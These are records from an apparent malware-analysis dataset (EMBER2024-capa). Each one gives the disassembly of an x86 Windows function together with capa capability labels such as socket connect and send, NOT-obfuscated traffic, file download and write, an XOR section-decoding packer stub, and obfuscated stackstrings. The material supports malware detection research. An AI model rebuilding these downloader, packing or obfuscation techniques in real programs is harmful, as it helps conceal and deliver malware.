joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404808
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9b8
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 0x9b0], eax
xor eax, eax
push 0x7fe
push eax
mov word [ebp - 0x808], ax
lea eax, [ebp - 0x806]
push eax
mov esi, ecx
call fcn.00408cd0
add esp, 0xc
lea edi, [ebp - 0x808]
test esi, esi
je 0x404852
mov edi, esi
xor eax, eax
and dword [ebp - 0x9b4], eax
and dword [ebp - 0x9ac], eax
mov word [edi], ax
lea eax, [ebp - 0x9a8]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x4048ac
push 0x41deb8
mov esi, 0x3ff
push esi
push edi
call fcn.00409215
push 0x41ded8
push esi
push edi
call fcn.00408dfa
push 0x41dedc
push esi
push edi
call fcn.00408dfa
add esp, 0x24
xor eax, eax
jmp 0x40493a
push 6
xor esi, esi
inc esi
push esi
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebx], eax
cmp eax, 0xffffffff
je 0x404879
push dword [ebp - 0x9b0]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x404948
push dword [ebp - 0x9b0]
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [ebp - 0x9b4], eax
push 4
lea eax, [ebp - 0x9b4]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
jne 0x404948
push 0x41deb8
mov esi, 0x3ff
push esi
push edi
call fcn.00409215
push 0x41ded8
push esi
push edi
call fcn.00408dfa
push 0x41dedc
push esi
push edi
call fcn.00408dfa
mov eax, dword [ebx]
add esp, 0x24
test eax, eax
je 0x404934
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
and dword [ebx], 0
mov eax, dword [ebp - 0x9ac]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00408cba
leave
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
push 2
mov dword [ebp - 0x814], eax
pop eax
push dword [ebp + 0xc]
mov word [ebp - 0x818], ax
call dword [sym.imp.WS2_32.dll_ntohs]
mov word [ebp - 0x816], ax
push 0x10
lea eax, [ebp - 0x818]
push eax
push dword [ebx]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x40498e
push 0x41df1c
jmp 0x4048fd
mov dword [ebp - 0x9ac], esi
jmp 0x404934

Function at 0x4049b1
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
push ebx
push esi
mov dword [ebp - 4], ecx
cmp dword [eax], ecx
je 0x404a25
cmp edi, ecx
jle 0x4049d3
mov eax, dword [ebp + 0xc]
add eax, ecx
not byte [eax]
inc ecx
cmp ecx, edi
jl 0x4049c7
lea ebx, [edi + 7]
push ebx
call fcn.0040b79e
mov esi, eax
lea eax, [edi + 5]
push 5
mov word [esi], ax
lea eax, [esi + 2]
push 0x4230c0
push eax
call fcn.00408eb0
push edi
push dword [ebp + 0xc]
lea eax, [esi + 7]
push eax
call fcn.00408eb0
mov eax, dword [ebp + 8]
add esp, 0x1c
push 0
push ebx
push esi
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x404a28
cmp eax, ebx
jne 0x404a28
mov dword [ebp - 4], 1
jmp 0x404a28
mov esi, dword [ebp + 8]
test esi, esi
je 0x404a33
push esi
call fcn.0040b579
pop ecx
mov eax, dword [ebp - 4]
pop esi
pop ebx
leave
ret
Function at 0x404b67
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x8e4
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp + 0x6c], eax
mov eax, dword [ebp + 0x78]
push ebx
push esi
mov dword [ebp - 0x864], eax
mov eax, dword [ebp + 0x7c]
push edi
mov dword [ebp - 0x874], eax
xor eax, eax
push 0x7fe
push eax
mov word [ebp - 0x85c], ax
lea eax, [ebp - 0x85a]
mov ebx, ecx
push eax
mov dword [ebp - 0x870], ebx
mov edi, edx
call fcn.00408cd0
add esp, 0xc
lea esi, [ebp - 0x85c]
mov dword [ebp - 0x860], esi
test edi, edi
je 0x404bd1
mov dword [ebp - 0x860], edi
mov esi, edi
xor eax, eax
mov word [esi], ax
mov ebx, dword [ebx]
xor edi, edi
mov dword [ebp - 0x86c], eax
cmp ebx, eax
je 0x404d35
cmp dword [ebp - 0x864], eax
je 0x404d35
push 0xc7
push eax
mov byte [ebp - 0x5c], al
lea eax, [ebp - 0x5b]
push eax
call fcn.00408cd0
add esp, 0xc
push edi
push 2
lea eax, [ebp - 0x5c]
push eax
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_recv]
call ebx
cmp eax, 0xffffffff
je 0x404d17
test eax, eax
je 0x404d17
movzx eax, word [ebp - 0x5c]
mov dword [ebp - 0x868], eax
add eax, 2
push eax
xor esi, esi
call fcn.0040b79e
cmp dword [ebp - 0x868], esi
pop ecx
mov edi, eax
jle 0x404d2a
mov eax, dword [ebp - 0x868]
push 0
sub eax, esi
push eax
lea eax, [esi + edi]
push eax
mov eax, dword [ebp - 0x870]
push dword [eax]
call ebx
cmp eax, 0xffffffff
je 0x404cac
test eax, eax
je 0x404cac
add esi, eax
cmp dword [ebp - 0x868], esi
jg 0x404c4e
cmp esi, 5
jl 0x404d2a
push 5
push edi
push 0x4230c0
sub esi, 5
call fcn.00409e6b
add esp, 0xc
test eax, eax
je 0x404ccc
push 0x41df40
push 0x3ff
push dword [ebp - 0x860]
jmp 0x404d22
push 0x41df40
push 0x3ff
push dword [ebp - 0x860]
call fcn.00409215
add esp, 0xc
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x404d2a
test esi, esi
jle 0x404cdb
lea eax, [edi + 5]
mov ecx, esi
not byte [eax]
inc eax
dec ecx
jne 0x404cd5
mov ebx, dword [ebp - 0x874]
mov eax, dword [ebx]
cmp eax, esi
jl 0x404cfb
push esi
lea eax, [edi + 5]
push eax
push dword [ebp - 0x864]
call fcn.00408eb0
mov dword [ebx], esi
jmp 0x404d0b
push eax
lea eax, [edi + 5]
push eax
push dword [ebp - 0x864]
call fcn.00408eb0
mov dword [ebp - 0x86c], 1
jmp 0x404d27
push 0x41df40
push 0x3ff
push esi
call fcn.00409215
add esp, 0xc
test edi, edi
je 0x404d35
push edi
call fcn.0040b579
pop ecx
mov ecx, dword [ebp + 0x6c]
mov eax, dword [ebp - 0x86c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408cba
add ebp, 0x70
leave
ret
Function at 0x404ee0
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0xf90]
mov eax, 0x1010
call fcn.00415570
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp + 0xf8c], eax
mov eax, dword [ebp + 0xf98]
push ebx
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
xor ebx, ebx
push ebx
mov dword [ebp - 0x7c], eax
push 4
lea eax, [ebp - 0x78]
push eax
push dword [edi]
call esi
cmp eax, 4
je 0x404f26
xor eax, eax
jmp 0x404f74
cmp dword [ebp - 0x78], ebx
jbe 0x404f63
push 0
push 0x1000
lea eax, [ebp - 0x74]
push eax
push dword [edi]
call esi
mov dword [ebp - 0x80], eax
test eax, eax
je 0x404f63
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
push eax
lea eax, [ebp - 0x74]
push 1
push eax
call fcn.00409d43
add ebx, dword [ebp - 0x80]
add esp, 0x10
mov dword [0x4246fc], ebx
cmp ebx, dword [ebp - 0x78]
jb 0x404f2b
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.00409b65
cmp ebx, dword [ebp - 0x78]
pop ecx
sbb eax, eax
inc eax
mov ecx, dword [ebp + 0xf8c]
pop esi
xor ecx, ebp
pop ebx
call fcn.00408cba
add ebp, 0xf90
leave
ret

Function at 0x406785
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push edi
mov edi, edx
test ecx, ecx
jne 0x406790
xor eax, eax
pop edi
ret
push esi
not eax
mov edx, 0xff
cmp edi, 8
jb 0x406842
mov esi, edi
shr esi, 3
push ebx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41f9a0]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41f9a0]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41f9a0]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41f9a0]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41f9a0]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41f9a0]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41f9a0]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41f9a0]
inc ecx
sub edi, 8
dec esi
jne 0x4067a7
pop ebx
test edi, edi
je 0x40685b
movzx esi, byte [ecx]
xor esi, eax
and esi, edx
shr eax, 8
xor eax, dword [esi*4 + 0x41f9a0]
inc ecx
dec edi
jne 0x406846
pop esi
not eax
pop edi
ret

Function at 0x406860
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [ecx]
movsx edx, dl
xor edx, eax
push esi
mov esi, 0xff
and edx, esi
mov edx, dword [edx*4 + 0x41f9a0]
shr eax, 8
xor edx, eax
mov eax, dword [ecx + 8]
mov dword [ecx], edx
movzx edx, dl
add edx, dword [ecx + 4]
imul edx, edx, 0x8088405
inc edx
mov dword [ecx + 4], edx
shr edx, 0x18
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x41f9a0]
pop esi
mov dword [ecx + 8], eax
ret
Function at 0x406ed5
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 0xc]
imul edi, dword [ebp + 0x10]
cmp byte [esi], 0
je 0x406f05
push 0
lea eax, [ebp + 0x10]
push eax
push edi
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x406f00
mov byte [esi + 8], 1
mov eax, dword [ebp + 0x10]
jmp 0x406f2d
mov ecx, dword [esi + 0x1c]
mov eax, dword [esi + 0x18]
lea edx, [ecx + edi]
cmp edx, eax
jbe 0x406f16
sub eax, ecx
mov edi, eax
mov eax, dword [esi + 0x14]
push edi
add eax, ecx
push eax
push dword [ebp + 8]
call fcn.00408eb0
add esp, 0xc
add dword [esi + 0x1c], edi
mov eax, edi
xor edx, edx
div dword [ebp + 0xc]
pop edi
pop ebp
ret
Function at 0x407bd3
Capabilities:
Get common file path

Disassembly:
push ecx
push ebx
xor ebx, ebx
push edi
cmp dword [esi], ebx
jne 0x407c5a
cmp dword [esi + 4], 0xffffffff
jne 0x407c5a
lea edi, [esi + 0x244]
push edi
push 0x104
call dword [sym.imp.kernel32.dll_GetCurrentDirectoryW]
push edi
call fcn.00409dc5
movzx eax, word [esi + eax*2 + 0x242]
pop ecx
cmp ax, 0x5c
je 0x407c1c
cmp ax, 0x2f
je 0x407c1c
push 0x41dc88
push edi
call fcn.00408d76
pop ecx
pop ecx
push 0x20
call fcn.0040b79e
pop ecx
mov ecx, dword [esp + 0x10]
mov dword [eax + 0x14], ecx
mov ecx, dword [esp + 0x14]
push eax
mov byte [eax], bl
mov byte [eax + 1], 1
mov byte [eax + 0x10], bl
mov dword [eax + 0x18], ecx
mov dword [eax + 0x1c], ebx
mov dword [eax + 0xc], ebx
call fcn.0040714e
mov dword [esi], eax
neg eax
sbb eax, eax
and eax, 0xfffffe00
pop ecx
add eax, 0x200
jmp 0x407c5f
mov eax, 0x1000000
pop edi
pop ebx
pop ecx
ret 8

Function at 0x40888c
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x190]
sub esp, 0x210
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp + 0x18c], eax
push esi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x7c], ax
lea eax, [ebp - 0x7a]
push eax
xor esi, esi
call fcn.00408cd0
add esp, 0xc
test edi, edi
je 0x408944
and dword [ebp - 0x80], esi
mov esi, 0x41de30
push esi
call fcn.00409dc5
pop ecx
test eax, eax
jbe 0x4088ed
push 0x41dd1c
lea eax, [ebp - 0x80]
push esi
push eax
call fcn.004093ab
add esp, 0xc
jmp 0x408921
lea eax, [ebp - 0x7c]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.kernel32.dll_GetTempPathW]
push 0x41fffc
lea eax, [ebp - 0x7c]
push esi
push eax
call fcn.00408dfa
push 0x41dd1c
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x80]
push eax
call fcn.004093ab
add esp, 0x18
xor esi, esi
inc esi
cmp dword [ebp - 0x80], 0
je 0x408944
push dword [ebp - 0x80]
push esi
push 0x200
push edi
call fcn.00409d43
push dword [ebp - 0x80]
call fcn.00409b65
add esp, 0x14
mov ecx, dword [ebp + 0x18c]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00408cba
add ebp, 0x190
leave
ret
Function at 0x40895c
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x194]
sub esp, 0x214
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp + 0x190], eax
push esi
xor eax, eax
xor esi, esi
push 0x206
mov word [ebp - 0x78], ax
lea eax, [ebp - 0x76]
push esi
push eax
mov dword [ebp - 0x80], esi
call fcn.00408cd0
add esp, 0xc
mov dword [ebp - 0x7c], esi
cmp ebx, esi
je 0x408a2d
push edi
mov edi, 0x41dd3c
push edi
call fcn.00409dc5
pop ecx
test eax, eax
je 0x408a2c
cmp dword [0x423040], 3
mov esi, 0x104
lea eax, [ebp - 0x78]
jne 0x4089de
push esi
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryW]
push 0x41dc88
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00408dfa
add esp, 0xc
jmp 0x4089e6
push eax
push esi
call dword [sym.imp.kernel32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00408dfa
push 0x41dd14
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x7c]
push eax
call fcn.004093ab
add esp, 0x18
cmp dword [ebp - 0x7c], 0
je 0x408a2c
push dword [ebp - 0x7c]
xor esi, esi
inc esi
push esi
push 0x200
push ebx
call fcn.00409ad1
push dword [ebp - 0x7c]
call fcn.00409b65
add esp, 0x14
mov dword [ebp - 0x80], esi
pop edi
mov ecx, dword [ebp + 0x190]
mov eax, dword [ebp - 0x80]
xor ecx, ebp
pop esi
call fcn.00408cba
add ebp, 0x194
leave
ret

Function at 0x408a46
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x194]
sub esp, 0x214
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp + 0x190], eax
push esi
xor eax, eax
xor esi, esi
push 0x206
mov word [ebp - 0x78], ax
lea eax, [ebp - 0x76]
push esi
push eax
mov dword [ebp - 0x80], esi
call fcn.00408cd0
add esp, 0xc
mov dword [ebp - 0x7c], esi
cmp ebx, esi
je 0x408aee
push edi
mov edi, 0x41fffc
push edi
call fcn.00409dc5
pop ecx
test eax, eax
je 0x408aed
lea eax, [ebp - 0x78]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.kernel32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00408dfa
push 0x41dd14
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x7c]
push eax
call fcn.004093ab
add esp, 0x18
cmp dword [ebp - 0x7c], 0
je 0x408aed
push dword [ebp - 0x7c]
xor esi, esi
inc esi
push esi
push 0x200
push ebx
call fcn.00409ad1
push dword [ebp - 0x7c]
call fcn.00409b65
add esp, 0x14
mov dword [ebp - 0x80], esi
pop edi
mov ecx, dword [ebp + 0x190]
mov eax, dword [ebp - 0x80]
xor ecx, ebp
pop esi
call fcn.00408cba
add ebp, 0x194
leave
ret
Function at 0x408bfe
Capabilities:
Check if file exists
Get file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 8]
xor esi, esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x408c1e
mov eax, dword [ebp + 8]
call fcn.00408c69
test eax, eax
je 0x408c64
push edi
push esi
push esi
push 2
push esi
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x408c63
push esi
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push edi
call dword [sym.imp.kernel32.dll_WriteFile]
neg eax
sbb eax, eax
and eax, dword [ebp + 0xc]
cmp eax, dword [ebp + 0x10]
jne 0x408c5c
xor esi, esi
inc esi
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebp
ret

Function at 0x408c69
Capabilities:
Check if file exists
Delete file
Get file attributes
Set file attributes

Disassembly:
push esi
mov esi, eax
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x408c7c
xor eax, eax
pop esi
ret
test al, 1
je 0x408c83
xor eax, 1
test al, 4
je 0x408c8a
xor eax, 4
test al, 2
je 0x408c91
xor eax, 2
test al, 0x20
je 0x408c98
xor eax, 0x20
push eax
push esi
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
push esi
call dword [sym.imp.kernel32.dll_DeleteFileW]
mov esi, eax
call dword [sym.imp.kernel32.dll_GetLastError]
mov eax, esi
pop esi
ret

Function at 0x408cba
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x422044]
jne 0x408cc4
repz ret
jmp fcn.0040c865
Function at 0x414e6d
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040cd6a
and dword [ebp - 4], 0
cmp dword [0x424430], 0
mov ebx, eax
jne 0x414f1e
push 0x41cbc4
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x414fcf
mov esi, dword [sym.imp.kernel32.dll_GetProcAddress]
push 0x41cbb8
push edi
call esi
test eax, eax
je 0x414fcf
push eax
call fcn.0040ccf8
mov dword [esp], 0x41cba8
push edi
mov dword [0x424430], eax
call esi
push eax
call fcn.0040ccf8
mov dword [esp], 0x41cb94
push edi
mov dword [0x424434], eax
call esi
push eax
call fcn.0040ccf8
mov dword [esp], 0x41cb78
push edi
mov dword [0x424438], eax
call esi
push eax
call fcn.0040ccf8
pop ecx
mov dword [0x424440], eax
test eax, eax
je 0x414f1e
push 0x41cb60
push edi
call esi
push eax
call fcn.0040ccf8
pop ecx
mov dword [0x42443c], eax
mov eax, dword [0x42443c]
cmp eax, ebx
je 0x414f76
cmp dword [0x424440], ebx
je 0x414f76
push eax
call fcn.0040cd73
push dword [0x424440]
mov esi, eax
call fcn.0040cd73
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x414f76
test edi, edi
je 0x414f76
call esi
test eax, eax
je 0x414f6d
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x414f6d
test byte [ebp - 0xc], 1
jne 0x414f76
or dword [ebp + 0x10], 0x200000
jmp 0x414faf
mov eax, dword [0x424434]
cmp eax, ebx
je 0x414faf
push eax
call fcn.0040cd73
pop ecx
test eax, eax
je 0x414faf
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x414faf
mov eax, dword [0x424438]
cmp eax, ebx
je 0x414faf
push eax
call fcn.0040cd73
pop ecx
test eax, eax
je 0x414faf
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x424430]
call fcn.0040cd73
pop ecx
test eax, eax
je 0x414fcf
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x414fd1
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x30032398
Capabilities:
Terminate process

Disassembly:
push 0x10
push 0x30033f10
call fcn.3003260e
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x1c], ebx
mov edi, 0x3006be98
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x30032188
cmp eax, esi
jne 0x3003217b
xor esi, esi
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x3003218b
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x30032162
xor esi, esi
inc esi
mov eax, dword [0x3006be94]
cmp eax, esi
jne 0x3003219e
push 0x1f
call sub.MSVCR80.dll__amsg_exit
pop ecx
jmp 0x300321d9
mov eax, dword [0x3006be94]
test eax, eax
jne 0x300321d3
mov dword [0x3006be94], esi
push 0x3000130c
push 0x30001300
call fcn.30192000
pop ecx
pop ecx
test eax, eax
je 0x300321d9
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x300322b0
mov dword [0x3006bb50], esi
mov eax, dword [0x3006be94]
cmp eax, esi
jne 0x300321fd
push 0x300012fc
push 0x300012e4
call sub.MSVCR80.dll__initterm
pop ecx
pop ecx
mov dword [0x3006be94], 2
cmp dword [ebp - 0x1c], ebx
jne 0x3003220a
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x3006bea4], ebx
je 0x3003222b
push 0x3006bea4
call fcn.300329cc
pop ecx
test eax, eax
je 0x3003222b
push ebx
push 2
push ebx
call dword [0x3006bea4]
mov eax, dword [0x3006bb38]
mov ecx, dword [sym.imp.MSVCR80.dll___winitenv]
mov dword [ecx], eax
push dword [0x3006bb38]
push dword [0x3006bb3c]
push dword [0x3006bb34]
call fcn.3001d9bd
add esp, 0xc
mov dword [0x3006bb4c], eax
cmp dword [0x3006bb40], ebx
jne 0x30032296
push eax
call dword [sym.imp.MSVCR80.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x20], ecx
push eax
push ecx
call sub.MSVCR80.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x3006bb50], ebx
jne 0x300322a4
call dword [sym.imp.MSVCR80.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x3006bb4c]
call fcn.30032653
ret
call fcn.30032029
jmp 0x30032140
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x2827093f
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..rsrc
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x22f116d9
nop
nop
nop
nop
nop
test eax, eax
je 0x430084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x10002000
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x1001ffd8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1b8
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
lea ecx, [esi + 4]
call fcn.10001000
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1d0], 0
call fcn.10001000
lea ecx, [esi + 0x54]
mov byte [esp + 0x1d0], 1
call fcn.10001000
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1d0], 2
call fcn.10001000
mov al, 0x6c
mov cl, 0x6e
mov byte [esp + 0x2d], al
mov byte [esp + 0x32], al
mov byte [esp + 0x33], al
mov al, 0x74
mov byte [esp + 0x1c], al
mov byte [esp + 0x22], al
mov byte [esp + 0x2b], cl
mov byte [esp + 0x21], cl
lea eax, [esp + 0x18]
lea ecx, [esp + 0x28]
mov bl, 0x65
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x1d8], 3
mov dword [esi], 0x10018b00
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], dl
mov byte [esp + 0x34], bl
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3c], 0
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], dl
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x45
mov byte [esp + 0x27], 0x76
mov byte [esp + 0x28], bl
mov byte [esp + 0x2b], 0x41
mov byte [esp + 0x2c], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x38]
mov edi, eax
push edx
push 0x202
call dword [fcn.10018adc]
mov ebp, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call ebp
add esp, 4
push 0
push 0
push 1
push 0
call edi
push 0x30
mov dword [esi + 0xac], eax
call ebp
add esp, 4
mov byte [esi + 0xb5], 0
mov dword [esi + 0xa8], 0xffffffff
mov byte [esp + 0x10], 0x45
mov byte [esp + 0x11], 0x79
mov byte [esp + 0x12], bl
mov byte [esp + 0x13], 0x73
mov edx, dword [esp + 0x10]
lea ecx, [esi + 0xb0]
mov al, 0x31
pop edi
mov dword [ecx], edx
mov byte [ecx + 4], al
mov ecx, dword [esp + 0x1c4]
mov eax, esi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c4
ret